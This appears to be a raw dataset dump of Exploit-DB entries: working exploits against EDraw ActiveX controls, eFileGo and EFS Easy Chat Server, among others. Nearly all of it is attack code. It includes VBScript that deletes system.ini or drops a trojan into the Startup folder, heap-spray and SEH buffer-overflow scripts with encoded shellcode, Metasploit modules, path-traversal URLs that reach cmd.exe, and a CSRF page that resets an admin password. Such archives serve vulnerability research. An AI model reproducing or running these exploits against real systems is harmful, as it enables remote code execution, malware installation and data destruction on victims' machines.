deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4010
Description: EDraw Office Viewer Component - Unsafe Method
Type: remote
Platform: windows
Date: 2007-05-30
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]
Exploit-DB #4290
Description: EDraw Office Viewer Component 5.1 - HttpDownloadFile() Insecure Method
Type: remote
Platform: windows
Date: 2007-08-16
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.1 (officeviewer.ocx v. 5.1.199.1) "HttpDownloadFile()" Insecure Method</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller,data</b>
--------------------------------------------------------------------------------------------------------------

<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
    test.HttpDownloadFile "http://www.shinnai.altervista.org/shinnai.txt", "c:\shinnai.txt"
    MsgBox("Exploit completed!")
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-08-16]
Exploit-DB #16242
Description: Edraw Office Viewer Component 7.4 - ActiveX Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2011-02-25
Author: Alexander Gavrun

Exploit:
<!--

# Exploit Title: Edraw Office Viewer Component V7.4 Stack Buffer Overflow
# Date: 25 Feb 2011
# Author: Alexander Gavrun (http://0x1byte.blogspot.com/)
# Software Link: http://www.ocxt.com/
# Version: 7.4
# Tested on: Windows Xp Sp2 + Internet Explorer 7 + OfficeViewer 7.4

-->
<html>
	<body>
		<object classid="clsid:7677E74E-5831-4C9E-A2DD-9B1EF9DF2DB4" id="OA1" width="100%" height="100%" codebase="http://www.edrawsoft.com/download/officeviewer.cab#7,4,0,241">
			<param name="Toolbars" value="-1">
			<param name="LicenseName" value="30daytrial">
			<param name="LicenseCode" value="EDWD-3333-2222-1111">
		</object>
		
		<script>
		
		function heapspray() {
		//exec calc.exe
		var shellcode = unescape( "%u9090%u9090%u9090%u9090" );
		shellcode += unescape( "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");
		for(S="\u0c0c",k=[],y=0;y++<110;)
			y<21?S+=S:k[y]=[S.substr(68)+shellcode].join("")
		}
		
		function exploit() {
			var buf = "http:";
			for(i=0; i<18000; i++)
				buf += unescape("%u0c0c");
			
			OA1.HttpInit();
			OA1.HttpPost(buf);

		}
		
		heapspray();
		exploit();

		</script>
		
	</body>
</html>
Exploit-DB #8986
Description: Edraw PDF Viewer Component < 3.2.0.126 - ActiveX Insecure Method
Type: remote
Platform: windows
Date: 2009-06-18
Author: Jambalaya

Exploit:
Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

By Jambalaya of Nevis Labs
Date: 2009.06.16

Vender:
EdrawSoft

Affected:
Edraw PDF Viewer Component < 3.2.0.126
*other version may also be affected

Overview:
"Edraw PDF Viewer Component is a light weight ActiveX Control which
enables your application to display and interact with PDF files.It is
identical to Adobe Reader program and adds high speed viewing of PDF
documents to your applications easily." For more information, see the
vendor's site found at the following link: http://www.ocxt.com

Details:
The specific flaws exists in pdfviewer.ocx ActiveX control.Succssfully
exploiting this vulnerability allows attackers to execute arbitrary code
on vulnerable installation. The vulnerability exists due to FtpConnect()
function, which could download any file from remote FTP server and put
on user's disk.Malicious user could download trojan and put into
"startup" folder so that the trojan will run up when user's computer
restart. Successful exploitation requires that the target user browse to
a malicious web page.

Proof of Concept:
<html>
<body>
<BR><object classid="clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04" id="target" width="67" height="50" codebase="http://www.ocxt.com/download/officeviewer.cab#6,0,612,1"></object>
<BR><BR>
<script language="vbscript">
target.FtpConnect "ftp://192.168.220.201", "test", "tester"
target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\trojan.exe"
target.FtpDisConnect 
</script> 
</body>
</html>

Workaround:
Set a killbit for this ActiveX.

Vendor Response:
2009.06.16 Vendor notified via email
2009.06.17 Vendor respond, and release patch

# milw0rm.com [2009-06-18]
Exploit-DB #20184
Description: eEye Digital Security IRIS 1.0.1 / SpyNet CaptureNet 3.0.12 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-08-31
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1627/info

IRIS from eEye Digital Security is a protocol analyzer geared towards network management, it is currently in BETA. This product was formerly known as SpyNet CaptureNet. Certain versions of the this software are vulnerable to a remotely triggered buffer overflow attack. This attack is orchestrated by a malicious user launching multiple UDP sessions to random ports on the machine which IRIS resides on (and is in operation on). The net result of this buffer overflow is that the product ceases to function and may drive system resources to 100% before exiting. It may be possible that this overflow (a heap overflow according to the attached advisory) could result in a system compromise. No information indicating that this is the case has been released.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20184.zip
Exploit-DB #27024
Description: EFileGo 3.0 - Multiple Input Validation Vulnerabilities
Type: remote
Platform: windows
Date: 2006-01-03
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/16124/info

eFileGo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to retrieve arbitrary files, upload files to arbitrary locations, cause denial of service conditions and execute arbitrary commands.

Successful exploitation may facilitate a remote compromise of the computer running the affected software.

http://www.example.com/.../.../.../.../.../windows/
http://www.example.com/.../.../.../.../.../.../windows/explorer.exe
http://www.example.com/.../.../.../.../.../.../.../.../windows/system32/cmd.exe?/c+dir
http://www.example.com/cgi-bin/upload.exe?/some_random_directory
http://www.example.com/cgi-bin/upload.exe?/.../.../.../.../.../.../windows/
Exploit-DB #16772
Description: EFS Easy Chat Server - Authentication Request Handling Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-08-06
Author: Metasploit

Exploit:
##
# $Id: efs_easychatserver_username.rb 9966 2010-08-06 20:12:51Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
				sending a overly long authentication request, an attacker may be able to execute
				arbitrary code.

				NOTE: The offset to SEH is influenced by the installation path of the program.
				The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
				with "\users\" and the string passed as the username HTTP paramter.
			},
			'Author'         => [ 'LSO <lso[at]hushmail.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9966 $',
			'References'     =>
				[
					[ 'CVE', '2004-2466' ],
					[ 'OSVDB', '7416' ],
					[ 'BID', '25328' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
				],
			'DisclosureDate' => 'Aug 14 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
					"C:\\Program Files\\Easy Chat Server" ])
			], self.class )
	end

	def check
		info = http_fingerprint # check method
		# NOTE: Version 2.2 still reports "1.0" in the "Server" header
		if (info =~ /Easy Chat Server\/1\.0/)
			return Exploit::CheckCode::Appears
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		# randomize some values.
		val = rand_text_alpha(rand(10) + 1)
		num = rand_text_numeric(1)

		path = datastore['PATH'] + "\\users\\"
		print_status("path: " + path)

		# exploit buffer.
		filler = rand_text_alpha(256 - path.length)
		seh    = generate_seh_payload(target.ret)
		juju = filler + seh

		uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"

		print_status("Trying target #{target.name}...")

		send_request_raw({'uri' => uri}, 5)

		handler
		disconnect
	end

end
Exploit-DB #11210
Description: EFS Easy Chat Server - Universal Buffer Overflow (SEH) (Metasploit)
Type: remote
Platform: windows
Date: 2010-01-21
Author: fb1h2s

Exploit:
##
# $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EFS Easy Chat server Universal BOF-SEH (META)',
			'Description'    => %q{
				This module exploits a vulnerability in Easy chat server by passing
				an arbitary evil biuffer along with the username password.
				Sucessful attack could run arbitary code on victim machine
			},
			'Author'         => 'FB1H2S',
			'License'        => MSF_LICENSE,
			'Version'        => '',
			'References'     =>
				[
					[ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],
					
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1200,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
					'Compat'   => 
					{
						'ConnectionType' => '+ws2ord',
					},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r 
				],
			'Privileged'     => true,
			'DisclosureDate' => 'jan 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

		

		def exploit
			connect
			sploit = Rex::Text.rand_text_alphanumeric(216)
		        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
			sploit << [target.ret].pack('V')      #ppr universal
			sploit << "\x90" * 20                # nop sled
			sploit << payload.encoded            #payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
			sploit << "\x90" * 20
			request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2'
			send = "GET /" + request + " HTTP/1.0"
			sock.put(send + "\r\n\r\n\r\n")
			disconnect
			handler
		end
	end
Exploit-DB #8142
Description: EFS Easy Chat Server 2.2 - Authentication Request Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-03-03
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Bug : 	    EFS Easy Chat Server Authentication Request  Buffer Overflow Exploit (SEH)
#[*] Refer :        http://www.milw0rm.com/exploits/4289
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ)

import struct
import socket



buf = "\x41"*216
buf += "\xEB\x06\xAE\xFA" #jmp+6
buf += "\xB6\xB2\x01\x10" #universal pop pop ret
buf += "\x90"*19

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
buf+=(
	"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4"
	"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff"
	"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3"
	"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7"
	"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc"
	"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e"
	"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31"
	"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2"
	"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe"
	"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba")

head  = "GET /chat.ghp?username="+buf+"&password="+buf+"&room=1 HTTP/1.1\r\n"
head += "Host: 127.0.0.1\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(head + "\r\n\r\n")
s.close()

# milw0rm.com [2009-03-03]
Exploit-DB #8149
Description: EFS Easy Chat Server 2.2 - Cross-Site Request Forgery (Change Admin Password)
Type: remote
Platform: windows
Date: 2009-03-03
Author: Stack

Exploit:
<HTML>
<!--
EFS Easy Chat Server (XSRF) Change Admin Pass Vulnerability
Version: 2.2
Date: Jan 11, 2007
Size:1519KB
Download Easy Chat Server  http://www.echatserver.com/ecssetup.exe
By Mountassif Moad
 -->
<HEAD>
<TITLE>EFS Easy Chat Server (XSRF) Change Admin Pass Vulnerability</TITLE>
<SCRIPT LANGUAGE="JavaScript">
</SCRIPT>
</HEAD>
<BODY bgcolor="#008000" LANGUAGE="JavaScript">
<div align=center>
<TABLE border="2" width="250">
<FORM action="http://127.0.0.1/registresult.htm" method="POST" name="regist" onsubmit="return check();">
<TR>
        <TD align="center" class="title"> <font color=red>Booom!!</font> </TD>
      </TR>
<TR>
        <TD> Username:
          <INPUT type="text" name="UserName" maxlength="30" value="admin"> *
</TD></TR>
<TR><TD>
Password:<INPUT type="password" name="Password" maxlength="30"  value="stack"> *
</TD></TR>
<TR>
        <TD> Confirm Password:
          <INPUT type="password" name="Password1" maxlength="30" value="stack"> *
</TD></TR>
<TR>
</TD></TR>
<TR><TD>
Email:<INPUT type="text" name="Email" value="admin@127.0.0.1.com" maxlength="30">
</TD></TR>
<TR><TD>
</TD></TR>
<TR><TD>
   <BR>
<TEXTAREA rows="4" cols="30" name="Resume">chi le3ba
Exploit-DB #33326
Description: EFS Easy Chat Server 3.1 - Remote Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2014-05-12
Author: superkojiman

Exploit:
## Exploit-DB Note: The offset to SEH is influenced by the installation path of the program.
## For this specific exploit to work, easy chat must be installed to:
## 'C:\Program Files\EFS Software\Easy Chat Server'


# Exploit Title: Easy Chat Server 3.1 stack buffer overflow
# Date: 9 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 7 Enterprise SP1, English
#
# Description: 
# A buffer overflow is triggered when when passing a long username.


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

# SEH overwritten at offset 207 when Easy Chat Server is  
# installed in C:\Program Files\EFS Software\Easy Chat Server
payload =  "A"*203
payload += "\xeb\x06\x90\x90"           # short jmp to shellcode
payload += "\x1e\x0e\x01\x10"           # pop/pop/ret @ 0x10010E1E SSLEAY32.DLL
payload += "\x81\xc4\xd8\xfe\xff\xff"   # add esp,-128
payload += shellcode                    # calc.exe
payload += "D"*193

buf = (
"GET /chat.ghp?username=" + payload + "&password=&room=1&sex=1 HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host: 192.168.1.136:80\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://192.168.1.136\r\n"
"Connection: Keep-Alive\r\n\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.123.131", 80))
s.send(buf)
print s.recv(1024)
Exploit-DB #11179
Description: EFS Software Easy Chat Server 2.2 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-01-18
Author: John Babio

Exploit:
#!/usr/bin/ruby
# Author: John Babio
# Tested on: [Windows XP Sp3 Eng]

require 'net/http'
require 'uri'
require 'socket'


jmp = "\xeb\x06\x90\x90"
ppr = "\xa2\xb9\01\x10" #SSLEAY32.dll pop ebx, pop ebp, ret

#win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com

shellcode = "\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x86" +
"\x49\xae\x6a\x83\xeb\xfc\xe2\xf4\x7a\xa1\xea\x6a\x86\x49\x25\x2f" +
"\xba\xc2\xd2\x6f\xfe\x48\x41\xe1\xc9\x51\x25\x35\xa6\x48\x45\x23" +
"\x0d\x7d\x25\x6b\x68\x78\x6e\xf3\x2a\xcd\x6e\x1e\x81\x88\x64\x67" +
"\x87\x8b\x45\x9e\xbd\x1d\x8a\x6e\xf3\xac\x25\x35\xa2\x48\x45\x0c" +
"\x0d\x45\xe5\xe1\xd9\x55\xaf\x81\x0d\x55\x25\x6b\x6d\xc0\xf2\x4e" +
"\x82\x8a\x9f\xaa\xe2\xc2\xee\x5a\x03\x89\xd6\x66\x0d\x09\xa2\xe1" +
"\xf6\x55\x03\xe1\xee\x41\x45\x63\x0d\xc9\x1e\x6a\x86\x49\x25\x02" +
"\xba\x16\x9f\x9c\xe6\x1f\x27\x92\x05\x89\xd5\x3a\xee\xb9\x24\x6e" +
"\xd9\x21\x36\x94\x0c\x47\xf9\x95\x61\x2a\xcf\x06\xe5\x49\xae\x6a" 

buffer = "\x41" * 216 + jmp + ppr + shellcode

url = URI.parse('http://10.10.99.12')
res = Net::HTTP.start(url.host, url.port) {|http|
http.get('/chat.ghp?username=' +buffer+ '&password=' +buffer+ '&room=1&sex=2')
}
puts res.body